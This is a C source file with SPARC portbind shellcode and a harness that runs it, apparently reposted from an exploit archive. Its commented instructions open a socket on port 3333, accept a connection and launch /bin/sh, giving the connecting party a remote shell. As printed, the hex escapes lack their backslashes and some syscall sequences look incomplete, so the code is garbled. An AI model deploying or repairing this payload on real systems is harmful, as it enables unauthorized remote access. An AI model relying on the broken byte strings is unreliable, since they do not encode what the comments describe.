/*
 * lhall@telegenetic.net
 * portbind shellcode
 * full description of how it was done and defines at
 * http://www.telegenetic.net/sparc-shellcode.htm
 */


char shellcode[]=
"x9Ax1Ax40x09" /* xor %o1, %o1, %o5          */
"x90x10x20x02" /* mov PF_INET, %o0           */
"x92x10x20x02" /* mov SOCK_STREAM, %o1       */
"x94x10x20x06" /* mov IPPROTO_TCP, %o2       */
"x96x1Ax40x09" /* xor %o1, %o1, %o3          */
"x98x22x20x01" /* sub %o0, 1, %o4            */
"x82x10x20xE6" /* mov SYS_SOCKET, %g1        */
"x91xD0x20x08" /* ta KERNEL                  */
"xA0x1Bx40x08" /* xor %o5, %o0, %l0          */
"xC0x23xBFxF4" /* st  %g0, [%sp - 0xc]       */
"xA2x10x2Dx05" /* mov 3333, %l1              */
"xE2x33xBFxF2" /* sth %l1, [%sp - 0xe]       */
"xA2x10x20x02" /* mov AF_INET, %l1           */
"xE2x33xBFxF0" /* sth %l1, [%sp - 0x10]      */
"x92x23xA0x10" /* sub %sp, 0x10, %o1         */
"x94x10x20x10" /* mov SOCKADDR_IN_SIZE, %o2  */
"x82x10x20xE8" /* mov SYS_BIND, %g1          */
"x91xD0x20x08" /* ta KERNEL                  */
"x90x1Bx40x10" /* xor %o5, %l0, %o0          */
"x92x1Bx40x0C" /* xor %o5, %o4, %o1          */
"x94x1Bx40x0C" /* xor %o5, %o4, %o2          */
"x82x10x20xE9" /* mov SYS_LISTEN, %g1        */
"x91xD0x20x08" /* ta KERNEL                  */
"xA2x10x20x10" /* mov SOCKADDR_IN_SIZE, %l1  */
"xE2x23xBFxDC" /* st %l1, [%sp - 0x24]       */
"x90x1Bx40x10" /* xor %o5, %l0, %o0          */
"x92x23xA0x20" /* sub %sp, 0x20, %o1         */
"x94x23xA0x24" /* sub %sp, 0x24, %o2         */
"x96x1Bx40x0C" /* xor %o5, %o4, %o3          */
"x82x10x20xEA" /* mov SYS_ACCEPT, %g1        */
"x91xD0x20x08" /* ta KERNEL                  */
"xA4x1Bx40x08" /* xor %o5, %o0, %l2          */
"x90x1Bx40x0C" /* xor %o5, %o4, %o0          */
"x82x10x20x06" /* mov SYS_CLOSE, %g1         */
"x91xD0x20x08" /* ta KERNEL                  */
"x91xD0x20x08" /* ta KERNEL                  */
"x94x1Bx40x0C" /* xor %o5, %o4, %o2          */
"x94x02x80x0A" /* add %o2, %o2, %o2          */
"x90x1Bx40x0A" /* xor %o5, %o2, %o0          */
"x91xD0x20x08" /* ta KERNEL                  */
"x92x1Ax40x09" /* xor %o1, %o1, %o1          */
"x90x1Bx40x12" /* xor %o5, %l2, %o0          */
"x82x10x20x3E" /* mov SYS_FCNTL, %g1         */
"x91xD0x20x08" /* ta KERNEL                  */
"x90x1Bx40x12" /* xor %o5, %l2, %o0          */
"x94x1Ax40x09" /* xor %o1, %o1, %o2          */
"x91xD0x20x08" /* ta KERNEL                  */
"x94x1Bx40x0C" /* xor %o5, %o4, %o2          */
"x90x1Bx40x12" /* xor %o5, %l2, %o0          */
"x91xD0x20x08" /* ta KERNEL                  */
"x21x0BxD8x9A" /* sethi %hi(0x2f626900), %l0 */
"xA0x14x21x6E" /* or %l0, %lo(0x16e), %l0    */
"x23x0BxDCxDA" /* sethi %hi(0x2f736800), %l1 */
"xE0x3BxBFxF0" /* std %l0, [%sp - 0x10]      */
"x90x23xA0x10" /* sub %sp, 0x10, %o0         */
"xD0x23xBFxF8" /* st  %o0, [%sp - 0x8]       */
"x92x23xA0x08" /* sub %sp, 0x8, %o1          */
"x94x1Ax80x0A" /* xor %o2, %o2, %o2          */
"x82x10x20x3B" /* mov SYS_EXECVE, %g1        */
"x91xD0x20x08"; /* ta KERNEL                 */

int
main (int argc, char **argv)
{
       int (*ret)();
       ret = (int(*)())shellcode;
       (int)(*ret)();
       exit(0);
}

// www.Syue.com [2005-11-20]